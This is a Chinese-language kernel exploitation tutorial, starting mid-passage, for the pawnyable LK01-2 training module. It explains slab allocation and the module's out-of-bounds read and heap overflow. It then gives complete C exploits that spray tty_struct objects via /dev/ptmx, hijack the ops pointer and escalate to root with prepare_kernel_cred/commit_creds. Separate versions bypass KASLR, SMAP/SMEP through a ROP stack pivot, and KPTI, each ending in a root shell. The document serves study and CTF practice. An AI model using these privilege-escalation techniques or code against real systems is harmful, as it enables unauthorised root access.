ptr [rdx], rcx; ret; void aaw(unsigned long target_addr, unsigned long data) {    *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = kernel_base + op_aaw;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], target_addr, data);   }   } cred结构体的搜索与改写 首先是将当前进程名设置为一个关键字 prctl(PR_SET_NAME, "h0pe-ay!"); 然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。 #从字符串转化为十六进制>>> text = "h0pe-ay!">>> hex_string = text.encode('utf-8').hex()>>> print(hex_string)683070652d617921#从十六进制转化为16进制hex_string = "65703068"bytes_obj = bytes.fromhex(hex_string)print(bytes_obj) 接下来就是搜索内存了,需要注意以下几点 使用小端序进行比较 需要从g_buf地址往前搜索 由于每次只能泄露4字节数据,因此需要泄露两次 在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。 for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8) { if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d) { printf("[+] found!\n"); printf("addr:0x%lx\n", addr); cred_addr = aar(addr - 4); cred_addr = (cred_addr << 32) | aar(addr - 8); printf("cred_addr:0x%lx\n", cred_addr); break; } } 最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可 for (int i = 1; i < 9; i++) aaw(0, cred_addr + i*4); 完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c&
Linux内核之堆溢出的利用
前言 用户进程会通过malloc等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。 内核中的内存分配 有两种类型的计算机并且使用不同的方法管理物理内存 UMA计算机:每个处理器访问内存的速度一直 NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢 首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t结构体进行表示。并且结点与结点之间是通过链表进行链接的。 结点进一步划分为多个域,域使用zone_type枚举类型表示。 域进一步细化为页为单位的内存进行划分。页则使用page数据结构进行表示。 虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab分配器进行小内存的分配。 图片来自https://blog-wohin-me.translate.goog/posts/pawnyable-0202/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl&&,slab大致流程如下。 slab不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc时会首先检索kmem_cache是否存在空闲的内存,这一点与用户态下的ptmalloc很相似。 LK01-2 项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2 module_open 在执行open模块时会使用kmalloc进行动态内存分配,因此会使用到上述所说的slab分配器。 static int module_open(struct inode *inode, struct file *file) {  printk(KERN_INFO "module_open called\n");  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);  if (!g_buf) {    printk(KERN_INFO "kmalloc failed");    return -ENOMEM; }  return 0; } module_read 在执行read模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。 static ssize_t module_read(struct file *file,                           char __user *buf, size_t count,                           loff_t *f_pos) {  printk(KERN_INFO "module_read called\n");  if (copy_to_user(buf, g_buf, count)) {    printk(KERN_INFO "copy_to_user failed\n");    return -EINVAL; }  return count; } module_write 在执行write模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。 static ssize_t module_write(struct file *file,                            const char __user *buf, size_t count,                            loff_t *f_pos) {  printk(KERN_INFO "module_write called\n");  if (copy_from_user(g_buf, buf, count)) {    printk(KERN_INFO "copy_from_user failed\n");    return -EINVAL; }  return count; } 堆溢出的利用 由于内核分配动态内存是通过slab分配器,slab分配器会优先从缓存中取出,题目给会通过open模块分配一个0x400的堆块。因此会从kmalloc-1024中取出堆块。可以看到0x400的堆块能够写入超过0x400的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。 因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct的结构体的大小刚好处于kmalloc-1024的范围内。 struct tty_struct { int magic; struct kref kref; struct device *dev; /* class device or NULL (e.g. ptys, serdev) */ struct tty_driver *driver; const struct tty_operations *ops;   ... } __randomize_layout; 可以看到tty_struct结构体会存在ops的操作指针,对tty的操作都会调用该函数指针。 https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/03/16/165628?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=zh-CN&&中统计了一下常用的结构体。 由于我们不清楚在执行open模块的时候分配的堆块是否会在tty结构体的上方,因此需要使用堆喷将tty结构体充满在open模块申请的堆块的附近。    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); ptmx文件是用于打开伪终端主设备文件,该文件则是通过上述的tty结构体进行表示 O_NOCTTY则是用于防止当前进程将打开的终端设备作为其控制终端 对过上述操作在能使得open模块操作分配的堆空间是在tty结构体所分配的空间的周围的。如下图所示能够看到将tty结构体分配在g_buf(open模块分配的堆块)的下方 该操作指针中存放着许多函数地址 将该结构体覆盖为无效值 通过ioctl操作触发函数指针 ioctl(spray[i], 0x1234, 0x1234); ioctl 是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl函数实际是会调用ops指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl函数执行流程中会检测ops指针的有效性。 但是单单修改函数表内的函数地址,则会引起崩溃。 崩溃地址正是我们修改的值。 因此梳理一下针对该题堆溢出利用的条件 利用堆喷使得漏洞堆块处于tty结构体堆块的上方 利用堆溢出将ops指针修改为可控的内核堆地址并在该地址中填充函数地址 没有开启保护 经过测试,在没有开启kaslr的情况下g_buf对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf的地址。由于g_buf处于内核地址,因此可以触发ioctl,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl需要检验ops指针值是否为内核地址。 并且在tty结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。 通过read模块泄露堆地址 ... char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    for (int i = 0; i < 0xa0; i++)   printf("[0x%x] 0x%lx\n",i ,p[i]); ... 这里需要注意的是我们尽可能选择与g_buf地址相近的堆地址,因为slab分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。 泄露出堆地址后还需要解决一个问题是ioctl函数会执行函数表的哪个函数指针,因此我们需要劫持ops指针为g_buf,然后在g_buf填充有规律的垃圾数据,判断函数指针的位置。   ...    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    for (unsigned long i = 0; i < 0x80; i++)   p[i] = i;    *(unsigned long *)&buf[0x418] = g_buf;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);   }     ... 可以看到在函数表中的偏移为0xc,该地址填充的值会被用作处理ioctl函数的操作。 由于题目没有开启任何保护,接下来就是ret2usr即可 run.sh #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \    -no-reboot \    -cpu qemu64 \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s exp 这里需要对所有伪终端执行ioctl操作,这是因为我们不能判断具体覆盖了哪个tty的结构体。 #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> /* 0xffffffff81074650 T prepare_kernel_cred 0xffffffff810744b0 T commit_creds */ unsigned long user_cs, user_sp, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff81074650;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff810744b0;" //commit_creds "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    //printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    p[0xc] = lpe;    *(unsigned long *)&buf[0x418] = g_buf;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);   }         } 开启KASLR run.sh #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \    -no-reboot \    -cpu qemu64 \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s exp 开启KASLR的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。 #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> #define prepare_kernel_cred_offset 0x74650 #define commit_creds_offset 0x744b0 unsigned long kernel_base; unsigned long prepare_kernel_cred; unsigned long commit_creds; unsigned long user_cs, user_sp, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset; commit_creds = kernel_base + commit_creds_offset; __asm( ".intel_syntax noprefix;" "movabs rax, prepare_kernel_cred;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, commit_creds;" //commit_creds "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    // printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    unsigned long kernel_addr = p[0x83];    printf("kernel_addr:0x%lx\n", kernel_addr);    kernel_base = kernel_addr - 0xc38880;    printf("kernel_base:0x%lx\n", kernel_base);    p[0xc] = lpe;    *(unsigned long *)&buf[0x418] = g_buf;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], 0xdeadbeef, 0xcafebabe);   }       } 开启SMAP与SMEP SMAP与SMEP会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;与mov rsp,rbp去修改栈顶值。这里需要注意到,当通过ioctl函数时,我们的参数值实际也会被传递进去。如下图所示。 因此需要通过根据这几个寄存器修改栈顶的操作 cat g | grep -E "push rdx;.* pop rsp;.* ret" 该gadget可以将rax的值移动到rdi的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;,该汇编语言实际是循环将rsi指向的值存放到rdi中,并且循环此为由rcx寄存器指定,因此将rcx寄存器设置为0即可跳过该操作。 run.sh #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s exp #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> /* 0xffffffff810d748d: pop rdi; ret; 0xffffffff81022dff: iretq; pop rbp; ret; 0xffffffff8162668e: swapgs; ret; 0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret; 0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 0xffffffff8109c39e: pop rsi; ret; 0xffffffff8113c1c4: pop rcx; ret; */ #define prepare_kernel_cred_offset 0x74650 #define commit_creds_offset 0x744b0 #define pop_rdi_offset 0xd748d #define iretq_pop_rbp_offset 0x22dff #define push_rax_ret_offset 0x24819 #define push_rdx_pop_rsp_ret_offset 0x3a478a #define mov_rdi_rax_ret_offset 0x62707b #define swapgs 0x62668e #define pop_rsi 0x9c39e #define pop_rcx 0x13c1c4 unsigned long kernel_base; unsigned long prepare_kernel_cred; unsigned long commit_creds; unsigned long user_cs, user_sp, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    // printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    unsigned long kernel_addr = p[0x83];    printf("kernel_addr:0x%lx\n", kernel_addr);    kernel_base = kernel_addr - 0xc38880;    printf("kernel_base:0x%lx\n", kernel_base);    p[0x22] = pop_rdi_offset + kernel_base;    p[0x23] = 0;    p[0x24] = prepare_kernel_cred_offset + kernel_base;    p[0x25] = pop_rcx + kernel_base;    p[0x26] = 0;    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;    p[0x28] = commit_creds_offset + kernel_base;    p[0x29] = swapgs + kernel_base;    p[0x2a] = iretq_pop_rbp_offset + kernel_base;    p[0x2b] = (unsigned long)backdoor;    p[0x2c] = user_cs;    p[0x2d] = user_rflags;    p[0x2e] = user_sp;    p[0x2f] = user_ss;        *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], g_buf+0x100, g_buf+0x100);   }       } 开启kpti run.sh #!/bin/sh qemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 kpti=1 kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 1 \    -monitor /dev/null \    -initrd initramfs.cpio.gz\    -net nic,model=virtio \    -net user \    -s exp kpti的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermode的gadget即可 #include <stdio.h> #include <ctype.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdlib.h> /* 0xffffffff810d748d: pop rdi; ret; 0xffffffff81022dff: iretq; pop rbp; ret; 0xffffffff8162668e: swapgs; ret; 0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret; 0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; 0xffffffff8109c39e: pop rsi; ret; 0xffffffff8113c1c4: pop rcx; ret; 0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode */ #define prepare_kernel_cred_offset 0x74650 #define commit_creds_offset 0x744b0 #define pop_rdi_offset 0xd748d #define iretq_pop_rbp_offset 0x22dff #define push_rax_ret_offset 0x24819 #define push_rdx_pop_rsp_ret_offset 0x3a478a #define mov_rdi_rax_ret_offset 0x62707b #define swapgs 0x62668e #define pop_rsi 0x9c39e #define pop_rcx 0x13c1c4 #define swapgs_restore_regs_and_return_to_usermode 0x800e10 unsigned long kernel_base; unsigned long prepare_kernel_cred; unsigned long commit_creds; unsigned long user_cs, user_sp, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } int main() {    save_user_land();    int spray[100];    for (int i = 0; i < 50; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    int fd = open("/dev/holstein", O_RDWR);    for (int i = 50; i < 100; i++)        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);    char buf[0x500];    read(fd, buf, 0x500);    unsigned long * p = (unsigned long *)&buf;    //for (int i = 0; i < 0xa0; i++)    // printf("[0x%x] 0x%lx\n",i ,p[i]);    unsigned long heap = p[0x9f];    printf("heap:0x%lx\n", heap);    unsigned long g_buf = heap - 0x4f8 ;    printf("g_buf:0x%lx\n", g_buf);    unsigned long kernel_addr = p[0x83];    printf("kernel_addr:0x%lx\n", kernel_addr);    kernel_base = kernel_addr - 0xc38880;    printf("kernel_base:0x%lx\n", kernel_base);    p[0x22] = pop_rdi_offset + kernel_base;    p[0x23] = 0;    p[0x24] = prepare_kernel_cred_offset + kernel_base;    p[0x25] = pop_rcx + kernel_base;    p[0x26] = 0;    p[0x27] = mov_rdi_rax_ret_offset + kernel_base;    p[0x28] = commit_creds_offset + kernel_base;    p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;    p[0x2a] = 0;    p[0x2b] = 0;    p[0x2c] = (unsigned long)backdoor;    p[0x2d] = user_cs;    p[0x2e] = user_rflags;    p[0x2f] = user_sp;    p[0x30] = user_ss;        *(unsigned long *)&buf[0x418] = g_buf;    p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;    write(fd, buf, 0x500);    for (int i = 0; i < 100; i++) {       ioctl(spray[i], g_buf+0x100, g_buf+0x100);   }       }